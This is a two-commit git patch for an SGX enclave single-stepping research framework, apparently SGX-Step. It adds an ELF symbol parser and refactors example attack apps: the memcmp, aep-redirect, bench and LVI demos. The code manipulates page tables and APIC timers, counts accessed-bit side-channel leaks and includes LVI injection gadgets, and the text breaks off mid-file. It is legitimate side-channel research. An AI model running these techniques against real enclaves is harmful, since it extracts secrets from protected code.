From a66f0c6c6881f28bb76c841056bdb8775d98a3d4 Mon Sep 17 00:00:00 2001 From: Wojciech Aleksander Woloszyn Date: Wed, 7 Aug 2024 16:07:27 +0100 Subject: [PATCH 1/2] Add ELF parser to retrieve enclave symbol addresses --- app/memcmp/Enclave/encl.c | 10 ---- app/memcmp/Enclave/encl.edl | 2 - app/memcmp/Makefile | 2 +- app/memcmp/main.c | 6 +- libsgxstep/elf_parser.c | 114 ++++++++++++++++++++++++++++++++++++ libsgxstep/elf_parser.h | 18 ++++++ 6 files changed, 137 insertions(+), 15 deletions(-) create mode 100644 libsgxstep/elf_parser.c create mode 100644 libsgxstep/elf_parser.h diff --git a/app/memcmp/Enclave/encl.c b/app/memcmp/Enclave/encl.c index 34bcf7a..5e29743 100644 --- a/app/memcmp/Enclave/encl.c +++ b/app/memcmp/Enclave/encl.c @@ -36,13 +36,3 @@ int memcmp_pwd(char *pwd) mwrite(&trigger_page); return rv; } - -void *get_memcmp_adrs( void ) -{ - return &my_memcmp; -} - -void *get_trigger_adrs( void ) -{ - return &trigger_page; -} diff --git a/app/memcmp/Enclave/encl.edl b/app/memcmp/Enclave/encl.edl index b99b33f..ac916d3 100644 --- a/app/memcmp/Enclave/encl.edl +++ b/app/memcmp/Enclave/encl.edl @@ -2,8 +2,6 @@ enclave { trusted { public int memcmp_pwd([in,string] char *pwd); - public void *get_memcmp_adrs( void ); - public void *get_trigger_adrs( void ); }; untrusted { diff --git a/app/memcmp/Makefile b/app/memcmp/Makefile index 91e46c8..ec46a9b 100644 --- a/app/memcmp/Makefile +++ b/app/memcmp/Makefile @@ -30,7 +30,7 @@ CFLAGS += -fPIC -fno-stack-protector -fno-builtin -fno-jump-tables INCLUDE = -I$(SGX_SDK)/include/ -I$(LIBSGXSTEP_DIR) LDFLAGS += -lsgx-step -lencl_proxy -lsgx_urts \ -lsgx_uae_service -pthread $(SUBDIRS:%=-L %) -L$(SGX_SDK)/lib$(LIB_SUFX)/ \ - -L$(LIBSGXSTEP_DIR)/linux-sgx/psw/urts/linux + -L$(LIBSGXSTEP_DIR)/linux-sgx/psw/urts/linux -lelf SOURCES = $(shell ls *.c) OBJECTS = $(SOURCES:.c=.o) diff --git a/app/memcmp/main.c b/app/memcmp/main.c index 54352b9..6e157d0 100644 --- a/app/memcmp/main.c +++ b/app/memcmp/main.c @@ -6,6 +6,7 @@ #include "libsgxstep/cpu.h" #include "libsgxstep/pt.h" #include "libsgxstep/sched.h" +#include "libsgxstep/elf_parser.h" #include "libsgxstep/enclave.h" #include "libsgxstep/debug.h" #include "libsgxstep/config.h" @@ -177,8 +178,8 @@ void attacker_config_runtime(void) /* Provoke page fault on enclave entry to initiate single-stepping mode. */ void attacker_config_page_table(void) { - SGX_ASSERT( get_memcmp_adrs( eid, &code_adrs) ); - SGX_ASSERT( get_trigger_adrs( eid, &trigger_adrs) ); + code_adrs = get_symbol_offset("my_memcmp") + get_enclave_base(); + trigger_adrs = get_symbol_offset("trigger_page") + get_enclave_base(); info("enclave trigger at %p; code at %p", trigger_adrs, code_adrs); ASSERT( pte_encl = remap_page_table_level( code_adrs, PTE) ); @@ -217,6 +218,7 @@ int main( int argc, char **argv ) SGX_ASSERT( memcmp_pwd(eid, &pwd_success, pwd) ); /* 1. Setup attack execution environment. */ + register_symbols("./Enclave/encl.so"); attacker_config_runtime(); attacker_config_page_table(); register_aep_cb(aep_cb_func); diff --git a/libsgxstep/elf_parser.c b/libsgxstep/elf_parser.c new file mode 100644 index 0000000..decb270 --- /dev/null +++ b/libsgxstep/elf_parser.c @@ -0,0 +1,114 @@ +#include "elf_parser.h" +#include "debug.h" +#include +#include +#include +#include +#include +#include +#include + +struct symbol symbols[MAX_SYMBOLS] = {0}; +int symbol_count = 0; + +uintptr_t get_symbol_offset(const char *name) { + if (!name) { + return 0; + } + + for (size_t i = 0; i < symbol_count; i++) { + if (symbols[i].name != NULL && strcmp(symbols[i].name, name) == 0) { + return symbols[i].address; + } + } + + return 0; +} + +void add_symbol(const char *name, uintptr_t address) { + ASSERT(symbol_count < MAX_SYMBOLS); + ASSERT(name); + symbols[symbol_count].name = strdup(name); + symbols[symbol_count].address = address; + symbol_count++; +} + +void free_symbols() { + for (size_t i = 0; i < symbol_count; i++) { + free(symbols[i].name); + } +} + +void register_symbols(const char *filename) { + ASSERT(elf_version(EV_CURRENT) != EV_NONE); + + int fd = open(filename, O_RDONLY, 0); + if (fd < 0) { + debug("Couldn't open file descriptor %s\n", filename); + return; + } + + Elf *elf = elf_begin(fd, ELF_C_READ, NULL); + if (!elf) { + debug("Couldn't open ELF file %s\n", filename); + close(fd); + return; + } + + // Get the ELF header + GElf_Ehdr ehdr; + if (gelf_getehdr(elf, &ehdr) == NULL) { + debug("Couldn't get the ELF header %s\n", filename); + elf_end(elf); + close(fd); + return; + } + + // Locate the section header string table + Elf_Scn *scn = NULL; + GElf_Shdr shdr; + size_t shstrndx; + + if (elf_getshdrstrndx(elf, &shstrndx) != 0) { + debug("Couldn't locate the section name string table %s\n", filename); + elf_end(elf); + close(fd); + return; + } + + // Iterate through sections to find the symbol table + while ((scn = elf_nextscn(elf, scn)) != NULL) { + if (gelf_getshdr(scn, &shdr) != &shdr) { + debug("Couldn't find the symbol table %s", filename); + elf_end(elf); + close(fd); + return; + } + + if (shdr.sh_type == SHT_SYMTAB || shdr.sh_type == SHT_DYNSYM) { + // Get string table for symbols + Elf_Data *data = NULL; + size_t n_symbols = shdr.sh_size / shdr.sh_entsize; + + while ((data = elf_getdata(scn, data)) != NULL) { + for (size_t i = 0; i < n_symbols; i++) { + GElf_Sym sym; + if (gelf_getsym(data, i, &sym) != &sym) { + continue; + } + + const char *name = + elf_strptr(elf, shdr.sh_link, sym.st_name); + if (!name) { + continue; + } + + add_symbol(name, sym.st_value); + } + } + } + } + + elf_end(elf); + close(fd); +} diff --git a/libsgxstep/elf_parser.h b/libsgxstep/elf_parser.h new file mode 100644 index 0000000..061e919 --- /dev/null +++ b/libsgxstep/elf_parser.h @@ -0,0 +1,18 @@ +#ifndef SGX_STEP_ELF_PARSER_H +#define SGX_STEP_ELF_PARSER_H + +#include +#include +#define MAX_SYMBOLS 1000 + +struct symbol { + char *name; + uintptr_t address; +}; + +uintptr_t get_symbol_offset(const char *name); +void add_symbol(const char *name, uintptr_t address); +void register_symbols(const char *filename); + +#endif + From 7d6c2b8a0563ca2421e6a83a16924b59e46bdd5d Mon Sep 17 00:00:00 2001 From: Wojciech Aleksander Woloszyn Date: Sun, 18 Aug 2024 01:55:14 +0100 Subject: [PATCH 2/2] Refactor ELF parser and integrate with more examples --- app/aep-redirect/Enclave/encl.c | 15 +-- app/aep-redirect/Enclave/encl.edl | 2 - app/aep-redirect/Makefile | 2 +- app/aep-redirect/main.c | 83 +++++++------- app/bench/Enclave/encl.c | 34 +----- app/bench/Enclave/encl.edl | 4 - app/bench/Makefile | 2 +- app/bench/main.c | 184 +++++++++++++++--------------- app/lvi/Enclave/encl.c | 51 +++------ app/lvi/Enclave/encl.edl | 3 - app/lvi/Makefile | 2 +- app/lvi/main.c | 127 ++++++++++----------- libsgxstep/elf_parser.c | 46 ++++---- libsgxstep/elf_parser.h | 3 +- sdk/intel-sdk/install_SGX_SDK.sh | 2 +- 15 files changed, 242 insertions(+), 318 deletions(-) diff --git a/app/aep-redirect/Enclave/encl.c b/app/aep-redirect/Enclave/encl.c index 0132d2d..1b973d9 100644 --- a/app/aep-redirect/Enclave/encl.c +++ b/app/aep-redirect/Enclave/encl.c @@ -21,19 +21,6 @@ __attribute__((aligned(4096))) int array[4096] = {0xaa}; #define a array[100] -void* get_a_addr( void ) -{ - return &a; -} - void page_aligned_func(void); -void* get_code_addr( void ) -{ - return page_aligned_func; -} - -int enclave_dummy_call(void) -{ - return a; -} +int enclave_dummy_call(void) { return a; } diff --git a/app/aep-redirect/Enclave/encl.edl b/app/aep-redirect/Enclave/encl.edl index 27cd650..8360b15 100644 --- a/app/aep-redirect/Enclave/encl.edl +++ b/app/aep-redirect/Enclave/encl.edl @@ -2,8 +2,6 @@ enclave { trusted { public int enclave_dummy_call(void); - public void* get_a_addr( void ); - public void* get_code_addr( void ); public void page_aligned_func(void); }; diff --git a/app/aep-redirect/Makefile b/app/aep-redirect/Makefile index 60534e9..6752efb 100644 --- a/app/aep-redirect/Makefile +++ b/app/aep-redirect/Makefile @@ -29,7 +29,7 @@ CFLAGS += -fPIC -fno-stack-protector -fno-builtin -fno-jump-tables INCLUDE = -I$(SGX_SDK)/include/ -I$(LIBSGXSTEP_DIR) LDFLAGS += -lsgx-step -lencl_proxy -lsgx_urts \ -lsgx_uae_service -pthread $(SUBDIRS:%=-L %) -L$(SGX_SDK)/lib$(LIB_SUFX)/ \ - -L$(LIBSGXSTEP_DIR)/linux-sgx/psw/urts/linux + -L$(LIBSGXSTEP_DIR)/linux-sgx/psw/urts/linux -lelf SOURCES = $(shell ls *.c) OBJECTS = $(SOURCES:.c=.o) diff --git a/app/aep-redirect/main.c b/app/aep-redirect/main.c index e2e4fbe..f9de842 100644 --- a/app/aep-redirect/main.c +++ b/app/aep-redirect/main.c @@ -19,24 +19,26 @@ */ #include -#include "Enclave/encl_u.h" -#include #include -#include "libsgxstep/enclave.h" +#include + +#include "Enclave/encl_u.h" #include "libsgxstep/debug.h" +#include "libsgxstep/elf_parser.h" +#include "libsgxstep/enclave.h" #include "libsgxstep/pt.h" -#define DBG_ENCL 1 +#define DBG_ENCL 1 void *data_pt = NULL, *data_page = NULL, *code_pt = NULL; int fault_fired = 0, aep_fired = 0; sgx_enclave_id_t eid = 0; -void aep_cb_func(void) -{ +void aep_cb_func(void) { gprsgx_region_t gprsgx = {0}; - uint64_t erip = edbgrd_erip() - (uint64_t) get_enclave_base(); - info("Hello world from AEP callback with erip=%#llx! Resuming enclave..", erip); + uint64_t erip = edbgrd_erip() - (uint64_t)get_enclave_base(); + info("Hello world from AEP callback with erip=%#llx! Resuming enclave..", + erip); edbgrd(get_enclave_ssa_gprsgx_adrs(), &gprsgx, sizeof(gprsgx_region_t)); dump_gprsgx_region(&gprsgx); @@ -44,43 +46,35 @@ void aep_cb_func(void) aep_fired++; } -void fault_handler(int signo, siginfo_t * si, void *ctx) -{ - ASSERT( fault_fired < 5); +void fault_handler(int signo, siginfo_t *si, void *ctx) { + ASSERT(fault_fired < 5); - switch ( signo ) - { - case SIGSEGV: - info("Caught page fault (base address=%p)", si->si_addr); - break; + switch (signo) { + case SIGSEGV: + info("Caught page fault (base address=%p)", si->si_addr); + break; - default: - info("Caught unknown signal '%d'", signo); - abort(); + default: + info("Caught unknown signal '%d'", signo); + abort(); } - if (si->si_addr == data_page) - { + if (si->si_addr == data_page) { info("Restoring data access rights.."); ASSERT(!mprotect(data_page, 4096, PROT_READ | PROT_WRITE)); print_pte_adrs(data_pt); - } - else if (si->si_addr == code_pt) - { + } else if (si->si_addr == code_pt) { info("Restoring code access rights.."); ASSERT(!mprotect(code_pt, 4096, PROT_READ | PROT_EXEC)); print_pte_adrs(code_pt); - } - else - { + } else { info("Unknown #PF address!"); } fault_fired++; } -void attacker_config_page_table(void) -{ +void attacker_config_page_table(void) { struct sigaction act, old_act; /* NOTE: finer-grained permissions can be revoked using @@ -92,15 +86,15 @@ void attacker_config_page_table(void) * inversion. */ info("revoking data page access rights.."); - SGX_ASSERT( get_a_addr(eid, &data_pt) ); - data_page = (void*) ((uintptr_t) data_pt & ~PFN_MASK); + data_pt = get_symbol_offset("array") + get_enclave_base(); + data_page = (void *)((uintptr_t)data_pt & ~PFN_MASK); info("data at %p with PTE:", data_pt); print_pte_adrs(data_pt); ASSERT(!mprotect(data_page, 4096, PROT_NONE)); print_pte_adrs(data_pt); info("revoking code page access rights.."); - SGX_ASSERT( get_code_addr(eid, &code_pt) ); + code_pt = get_symbol_offset("page_aligned_func") + get_enclave_base(); info("code at %p with PTE:", code_pt); print_pte_adrs(code_pt); ASSERT(!mprotect(code_pt, 4096, PROT_NONE)); @@ -113,23 +107,23 @@ void attacker_config_page_table(void) /* Block all signals while the signal is being handled */ sigfillset(&act.sa_mask); - ASSERT(!sigaction( SIGSEGV, &act, &old_act )); + ASSERT(!sigaction(SIGSEGV, &act, &old_act)); } -int main( int argc, char **argv ) -{ +int main(int argc, char **argv) { sgx_launch_token_t token = {0}; int retval = 0, updated = 0; char old = 0x00, new = 0xbb; info("Creating enclave..."); - SGX_ASSERT( sgx_create_enclave( "./Enclave/encl.so", /*debug=*/DBG_ENCL, - &token, &updated, &eid, NULL ) ); + SGX_ASSERT(sgx_create_enclave("./Enclave/encl.so", /*debug=*/DBG_ENCL, + &token, &updated, &eid, NULL)); info("Dry run to allocate pages"); - SGX_ASSERT( enclave_dummy_call(eid, &retval) ); - SGX_ASSERT( page_aligned_func(eid) ); + SGX_ASSERT(enclave_dummy_call(eid, &retval)); + SGX_ASSERT(page_aligned_func(eid)); + register_symbols("./Enclave/encl.so"); attacker_config_page_table(); register_aep_cb(aep_cb_func); print_enclave_info(); @@ -138,16 +132,17 @@ int main( int argc, char **argv ) edbgrd(data_pt, &old, 1); edbgwr(data_pt, &new, 1); edbgrd(data_pt, &new, 1); - info("data at %p (page %p): old=0x%x; new=0x%x", data_pt, data_page, old & 0xff, new & 0xff); + info("data at %p (page %p): old=0x%x; new=0x%x", data_pt, data_page, + old & 0xff, new & 0xff); info_event("calling enclave data page fault.."); - SGX_ASSERT( enclave_dummy_call(eid, &retval) ); + SGX_ASSERT(enclave_dummy_call(eid, &retval)); info_event("calling enclave code page fault.."); - SGX_ASSERT( page_aligned_func(eid) ); + SGX_ASSERT(page_aligned_func(eid)); info("all is well; exiting.."); ASSERT(fault_fired && aep_fired); - SGX_ASSERT( sgx_destroy_enclave( eid ) ); - return 0; + SGX_ASSERT(sgx_destroy_enclave(eid)); + return 0; } diff --git a/app/bench/Enclave/encl.c b/app/bench/Enclave/encl.c index 0738b27..c54d4d3 100644 --- a/app/bench/Enclave/encl.c +++ b/app/bench/Enclave/encl.c @@ -29,46 +29,20 @@ extern void zigzag_bench(uint64_t nb); extern void asm_microbenchmark(void); extern int my_strlen(const char *str); -void do_nop_slide(void) -{ - asm_microbenchmark(); -} +void do_nop_slide(void) { asm_microbenchmark(); } int a, b; -void do_zigzagger(int n) -{ +void do_zigzagger(int n) { a = 1; b = 0; zigzag_bench(n); } -int do_strlen(int n) -{ +int do_strlen(int n) { int i, j; - for (i=0; i < n; i++) - j = my_strlen(&secret_str); + for (i = 0; i < n; i++) j = my_strlen(&secret_str); return j; } - -void *get_str_adrs( void ) -{ - return &secret_str; -} - -void *get_nop_adrs( void ) -{ - return asm_microbenchmark; -} - -void *get_zz_adrs(void) -{ - return zigzag_bench; -} - -void *get_strlen_adrs(void) -{ - return my_strlen; -} diff --git a/app/bench/Enclave/encl.edl b/app/bench/Enclave/encl.edl index 0c85d4b..3eceaa4 100644 --- a/app/bench/Enclave/encl.edl +++ b/app/bench/Enclave/encl.edl @@ -3,12 +3,8 @@ enclave { trusted { public void do_zigzagger( int n ); public int do_strlen( int n ); - public void *get_str_adrs( void ); public void do_nop_slide( void ); - public void *get_nop_adrs( void ); - public void *get_zz_adrs( void ); - public void *get_strlen_adrs( void ); }; untrusted { diff --git a/app/bench/Makefile b/app/bench/Makefile index 95dce9a..31d29ce 100644 --- a/app/bench/Makefile +++ b/app/bench/Makefile @@ -30,7 +30,7 @@ CFLAGS += -fPIC -fno-stack-protector -fno-builtin -fno-jump-tables INCLUDE = -I$(SGX_SDK)/include/ -I$(LIBSGXSTEP_DIR) LDFLAGS += -lsgx-step -lencl_proxy -lsgx_urts \ -lsgx_uae_service -pthread $(SUBDIRS:%=-L %) -L$(SGX_SDK)/lib$(LIB_SUFX)/ \ - -L$(LIBSGXSTEP_DIR)/linux-sgx/psw/urts/linux + -L$(LIBSGXSTEP_DIR)/linux-sgx/psw/urts/linux -lelf SOURCES = $(shell ls *.c) OBJECTS = $(SOURCES:.c=.o) diff --git a/app/bench/main.c b/app/bench/main.c index e07b568..54286a3 100644 --- a/app/bench/main.c +++ b/app/bench/main.c @@ -19,27 +19,28 @@ */ #include -#include "Enclave/encl_u.h" #include #include + +#include "Enclave/encl_u.h" #include "libsgxstep/apic.h" -#include "libsgxstep/pt.h" -#include "libsgxstep/sched.h" -#include "libsgxstep/enclave.h" -#include "libsgxstep/debug.h" #include "libsgxstep/config.h" +#include "libsgxstep/debug.h" +#include "libsgxstep/elf_parser.h" +#include "libsgxstep/enclave.h" #include "libsgxstep/idt.h" -#include "libsgxstep/config.h" +#include "libsgxstep/pt.h" +#include "libsgxstep/sched.h" #ifndef NUM_RUNS - #define NUM_RUNS 100 +#define NUM_RUNS 100 #endif -#define MICROBENCH 1 -#define STRLEN 2 -#define ZIGZAGGER 3 +#define MICROBENCH 1 +#define STRLEN 2 +#define ZIGZAGGER 3 #ifndef ATTACK_SCENARIO - #define ATTACK_SCENARIO MICROBENCH +#define ATTACK_SCENARIO MICROBENCH #endif sgx_enclave_id_t eid = 0; @@ -52,28 +53,26 @@ uint64_t *pmd_encl = NULL; /* ================== ATTACKER IRQ/FAULT HANDLERS ================= */ /* Called before resuming the enclave after an Asynchronous Enclave eXit. */ -void aep_cb_func(void) -{ - uint64_t erip = edbgrd_erip() - (uint64_t) get_enclave_base(); +void aep_cb_func(void) { + uint64_t erip = edbgrd_erip() - (uint64_t)get_enclave_base(); info("^^ enclave RIP=%#llx; ACCESSED=%d", erip, ACCESSED(*pte_encl)); irq_cnt++; - /* XXX insert custom attack-specific side-channel observation code here */ - #if (ATTACK_SCENARIO == STRLEN) - ASSERT( pte_str_encl ); - if (ACCESSED(*pte_str_encl)) - { - info("accessed!"); - strlen_nb_access++; - } - *pte_str_encl = MARK_NOT_ACCESSED( *pte_str_encl ); - #endif - - if (do_irq && (irq_cnt > NUM_RUNS*500)) - { - info("excessive interrupt rate detected (try adjusting timer interval " \ - "to avoid getting stuck in zero-stepping); aborting..."); - do_irq = 0; +/* XXX insert custom attack-specific side-channel observation code here */ +#if (ATTACK_SCENARIO == STRLEN) + ASSERT(pte_str_encl); + if (ACCESSED(*pte_str_encl)) { + info("accessed!"); + strlen_nb_access++; + } + *pte_str_encl = MARK_NOT_ACCESSED(*pte_str_encl); +#endif + + if (do_irq && (irq_cnt > NUM_RUNS * 500)) { + info( + "excessive interrupt rate detected (try adjusting timer interval " + "to avoid getting stuck in zero-stepping); aborting..."); + do_irq = 0; } /* @@ -81,7 +80,7 @@ void aep_cb_func(void) * referencing the enclave code page about to be executed, so as to be able * to filter out "zero-step" results that won't set the accessed bit. */ - *pte_encl = MARK_NOT_ACCESSED( *pte_encl ); + *pte_encl = MARK_NOT_ACCESSED(*pte_encl); /* * Configure APIC timer interval for next interrupt. @@ -90,18 +89,16 @@ void aep_cb_func(void) * _unprotected_ PMD "accessed" bit below, so as to slightly slow down * ERESUME such that the interrupt reliably arrives in the first subsequent * enclave instruction. - * + * */ - if (do_irq) - { - *pmd_encl = MARK_NOT_ACCESSED( *pmd_encl ); - apic_timer_irq( SGX_STEP_TIMER_INTERVAL ); + if (do_irq) { + *pmd_encl = MARK_NOT_ACCESSED(*pmd_encl); + apic_timer_irq(SGX_STEP_TIMER_INTERVAL); } } /* Called upon SIGSEGV caused by untrusted page tables. */ -void fault_handler(int signal) -{ +void fault_handler(int signal) { info("Caught fault %d! Restoring enclave page permissions..", signal); *pte_encl = MARK_NOT_EXECUTE_DISABLE(*pte_encl); ASSERT(fault_cnt++ < 10); @@ -113,15 +110,13 @@ void fault_handler(int signal) /* ================== ATTACKER INIT/SETUP ================= */ /* Configure and check attacker untrusted runtime environment. */ -void attacker_config_runtime(void) -{ - ASSERT( !claim_cpu(VICTIM_CPU) ); - ASSERT( !prepare_system_for_benchmark(PSTATE_PCT) ); +void attacker_config_runtime(void) { + ASSERT(!claim_cpu(VICTIM_CPU)); + ASSERT(!prepare_system_for_benchmark(PSTATE_PCT)); ASSERT(signal(SIGSEGV, fault_handler) != SIG_ERR); print_system_settings(); - if (isatty(fileno(stdout))) - { + if (isatty(fileno(stdout))) { info("WARNING: interactive terminal detected; known to cause "); info("unstable timer intervals! Use stdout file redirection for "); info("precise single-stepping results..."); @@ -132,59 +127,59 @@ void attacker_config_runtime(void) } /* Provoke page fault on enclave entry to initiate single-stepping mode. */ -void attacker_config_page_table(void) -{ +void attacker_config_page_table(void) { void *code_adrs; - #if (ATTACK_SCENARIO == STRLEN) - void *str_adrs; - SGX_ASSERT( get_str_adrs( eid, &str_adrs) ); - info("enclave string adrs at %p", str_adrs); - ASSERT( pte_str_encl = remap_page_table_level( str_adrs, PTE) ); - ASSERT( PRESENT(*pte_str_encl) ); - #endif - - #if (ATTACK_SCENARIO == STRLEN) - SGX_ASSERT( get_strlen_adrs( eid, &code_adrs) ); - #elif (ATTACK_SCENARIO == ZIGZAGGER) - SGX_ASSERT( get_zz_adrs( eid, &code_adrs) ); - #else - SGX_ASSERT( get_nop_adrs( eid, &code_adrs) ); - #endif - - //print_page_table( code_adrs ); +#if (ATTACK_SCENARIO == STRLEN) + void *str_adrs; + str_adrs = get_symbol_offset("secret_str"); + info("enclave string adrs at %p", str_adrs); + ASSERT(pte_str_encl = remap_page_table_level(str_adrs, PTE)); + ASSERT(PRESENT(*pte_str_encl)); +#endif + + code_adrs = get_enclave_base(); +#if (ATTACK_SCENARIO == STRLEN) + code_adrs += get_symbol_offset("my_strlen"); +#elif (ATTACK_SCENARIO == ZIGZAGGER) + code_adrs += get_symbol_offset("zigzag_bench"); +#else + code_adrs += get_symbol_offset("asm_microbenchmark"); +#endif + + // print_page_table( code_adrs ); info("enclave trigger code adrs at %p\n", code_adrs); - ASSERT( pte_encl = remap_page_table_level( code_adrs, PTE) ); - #if SINGLE_STEP_ENABLE - *pte_encl = MARK_EXECUTE_DISABLE(*pte_encl); - print_pte(pte_encl); - ASSERT( PRESENT(*pte_encl) ); - #endif - - //print_page_table( get_enclave_base() ); - ASSERT( pmd_encl = remap_page_table_level( get_enclave_base(), PMD) ); - ASSERT( PRESENT(*pmd_encl) ); + ASSERT(pte_encl = remap_page_table_level(code_adrs, PTE)); +#if SINGLE_STEP_ENABLE + *pte_encl = MARK_EXECUTE_DISABLE(*pte_encl); + print_pte(pte_encl); + ASSERT(PRESENT(*pte_encl)); +#endif + + // print_page_table( get_enclave_base() ); + ASSERT(pmd_encl = remap_page_table_level(get_enclave_base(), PMD)); + ASSERT(PRESENT(*pmd_encl)); } /* ================== ATTACKER MAIN ================= */ /* Untrusted main function to create/enter the trusted enclave. */ -int main( int argc, char **argv ) -{ +int main(int argc, char **argv) { sgx_launch_token_t token = {0}; - int apic_fd, encl_strlen = 0, updated = 0, vec=0; + int apic_fd, encl_strlen = 0, updated = 0, vec = 0; idt_t idt = {0}; info_event("Creating enclave..."); - SGX_ASSERT( sgx_create_enclave( "./Enclave/encl.so", /*debug=*/1, - &token, &updated, &eid, NULL ) ); + SGX_ASSERT(sgx_create_enclave("./Enclave/encl.so", /*debug=*/1, &token, + &updated, &eid, NULL)); /* 0. dry run */ info("Dry run to allocate pages"); - SGX_ASSERT( do_zigzagger(eid, NUM_RUNS) ); - SGX_ASSERT( do_strlen(eid, &encl_strlen, NUM_RUNS) ); - SGX_ASSERT( do_nop_slide(eid) ); + SGX_ASSERT(do_zigzagger(eid, NUM_RUNS)); + SGX_ASSERT(do_strlen(eid, &encl_strlen, NUM_RUNS)); + SGX_ASSERT(do_nop_slide(eid)); /* 1. Setup attack execution environment. */ + register_symbols("./Enclave/encl.so"); attacker_config_runtime(); attacker_config_page_table(); register_aep_cb(aep_cb_func); @@ -196,21 +191,22 @@ int main( int argc, char **argv ) /* 2. Single-step enclaved execution. */ info_event("calling enclave: attack=%d; num_runs=%d; timer=%d", - ATTACK_SCENARIO, NUM_RUNS, SGX_STEP_TIMER_INTERVAL); - - #if (ATTACK_SCENARIO == ZIGZAGGER) - SGX_ASSERT( do_zigzagger(eid, NUM_RUNS) ); - #elif (ATTACK_SCENARIO == STRLEN) - SGX_ASSERT( do_strlen(eid, &encl_strlen, NUM_RUNS) ); - info("strlen returned by enclave is %d", encl_strlen); - info("attacker counted %d", strlen_nb_access); - #else - SGX_ASSERT( do_nop_slide(eid) ); - #endif + ATTACK_SCENARIO, NUM_RUNS, SGX_STEP_TIMER_INTERVAL); + +#if (ATTACK_SCENARIO == ZIGZAGGER) + SGX_ASSERT(do_zigzagger(eid, NUM_RUNS)); +#elif (ATTACK_SCENARIO == STRLEN) + SGX_ASSERT(do_strlen(eid, &encl_strlen, NUM_RUNS)); + info("strlen returned by enclave is %d", encl_strlen); + info("attacker counted %d", strlen_nb_access); +#else + SGX_ASSERT(do_nop_slide(eid)); +#endif /* 3. Restore normal execution environment. */ - SGX_ASSERT( sgx_destroy_enclave( eid ) ); + SGX_ASSERT(sgx_destroy_enclave(eid)); - info_event("all done; counted %d/%d IRQs (AEP/IDT)", irq_cnt, __ss_irq_count); + info_event("all done; counted %d/%d IRQs (AEP/IDT)", irq_cnt, + __ss_irq_count); return 0; } diff --git a/app/lvi/Enclave/encl.c b/app/lvi/Enclave/encl.c index 008daa7..052fb1b 100644 --- a/app/lvi/Enclave/encl.c +++ b/app/lvi/Enclave/encl.c @@ -18,23 +18,20 @@ #include #include -#define OFFSET 20 -#define LFENCE 0 +#define OFFSET 20 +#define LFENCE 0 -inline void __attribute__((always_inline)) maccess(void *p) -{ +inline void __attribute__((always_inline)) maccess(void *p) { asm volatile("movb (%0), %%cl\n" : : "c"(p) :); } -inline void __attribute__((always_inline)) flush(void *p) -{ - asm volatile("clflush 0(%0)\n" : : "r"(p) : ); +inline void __attribute__((always_inline)) flush(void *p) { + asm volatile("clflush 0(%0)\n" : : "r"(p) :); } -char __attribute__((aligned(0x1000))) dummy[4096*256]; +char __attribute__((aligned(0x1000))) dummy[4096 * 256]; -void transient_delay(void) -{ +void transient_delay(void) { /* delay to provide sufficient transient execution window */ flush(dummy); maccess(dummy); @@ -45,29 +42,15 @@ char __attribute__((aligned(0x1000))) page_b[4096] = {'B'}; #define pt_a (page_a + OFFSET) #define pt_b (page_b + OFFSET) -void *ecall_get_page_a(void) -{ - memset(page_a, 'A', 4096); - return (void*) page_a; -} - -void *ecall_get_page_b(void) -{ - memset(page_b, 'B', 4096); - return (void*) page_b; -} - -void ecall_lvi_store_user(uint64_t *user_pt, char *oracle) -{ - if (sgx_is_outside_enclave(oracle, 4096*256) && - sgx_is_outside_enclave(user_pt, sizeof(uint64_t))) - { +void ecall_lvi_store_user(uint64_t *user_pt, char *oracle) { + if (sgx_is_outside_enclave(oracle, 4096 * 256) && + sgx_is_outside_enclave(user_pt, sizeof(uint64_t))) { /* 0. Fence to protect against Spectre v1 */ __builtin_ia32_lfence(); transient_delay(); /* 1. STORE to attacker-controlled _untrusted_ address */ - *user_pt = (uint64_t) 'S'; + *user_pt = (uint64_t)'S'; /* 2. VICTIM LOAD: inject 'S' and override trusted value 'B' */ volatile char valb = *pt_b; @@ -77,25 +60,25 @@ void ecall_lvi_store_user(uint64_t *user_pt, char *oracle) #endif /* 3. VICTIM ENCODE: e.g., cache-based covert channel gadget */ - volatile char leak = oracle[4096*valb]; + volatile char leak = oracle[4096 * valb]; } } -void ecall_lvi_remap_l1d(char *oracle) -{ +void ecall_lvi_remap_l1d(char *oracle) { /* VICTIM PREFETCH: load 'A' at valid enclave physical address into L1 */ volatile char vala = *pt_a; /* ensure 'A' is cached and load/store buffers are drained */ asm("mfence"); transient_delay(); - /* VICTIM LOAD: inject 'A' from remapped physical address for trusted load to 'B'*/ + /* VICTIM LOAD: inject 'A' from remapped physical address for trusted load + * to 'B'*/ volatile char valb = *pt_b; #if LFENCE - asm("lfence"); + asm("lfence"); #endif /* VICTIM ENCODE: e.g., cache-based covert channel gadget */ - volatile char leak = oracle[4096*valb]; + volatile char leak = oracle[4096 * valb]; } diff --git a/app/lvi/Enclave/encl.edl b/app/lvi/Enclave/encl.edl index f10f766..088fa02 100644 --- a/app/lvi/Enclave/encl.edl +++ b/app/lvi/Enclave/encl.edl @@ -1,9 +1,6 @@ enclave { trusted { - public void *ecall_get_page_a(void); - public void *ecall_get_page_b(void); - public void ecall_lvi_store_user([user_check] uint64_t *user_pt, [user_check] char *oracle); public void ecall_lvi_remap_l1d([user_check] char *oracle); diff --git a/app/lvi/Makefile b/app/lvi/Makefile index 5184ce1..f77ce86 100644 --- a/app/lvi/Makefile +++ b/app/lvi/Makefile @@ -29,7 +29,7 @@ CFLAGS += -fpic -fno-stack-protector -fno-builtin -fno-jump-tables INCLUDE = -I$(SGX_SDK)/include/ -I$(LIBSGXSTEP_DIR) LDFLAGS += -lsgx-step -lencl_proxy -lsgx_urts \ -lsgx_uae_service -pthread $(SUBDIRS:%=-L %) -L$(SGX_SDK)/lib$(LIB_SUFX)/ \ - -L$(LIBSGXSTEP_DIR)/linux-sgx/psw/urts/linux + -L$(LIBSGXSTEP_DIR)/linux-sgx/psw/urts/linux -lelf SOURCES = $(shell ls *.c) $(ENCLAVE)/encl_u.c OBJECTS = $(SOURCES:.c=.o) diff --git a/app/lvi/main.c b/app/lvi/main.c index a939af1..ca3f42a 100644 --- a/app/lvi/main.c +++ b/app/lvi/main.c @@ -16,27 +16,29 @@ */ #include -#include "Enclave/encl_u.h" -#include #include -#include "libsgxstep/enclave.h" +#include + +#include "Enclave/encl_u.h" +#include "cacheutils.h" +#include "libsgxstep/apic.h" +#include "libsgxstep/config.h" #include "libsgxstep/debug.h" -#include "libsgxstep/pt.h" +#include "libsgxstep/elf_parser.h" +#include "libsgxstep/enclave.h" #include "libsgxstep/idt.h" -#include "libsgxstep/apic.h" +#include "libsgxstep/pt.h" #include 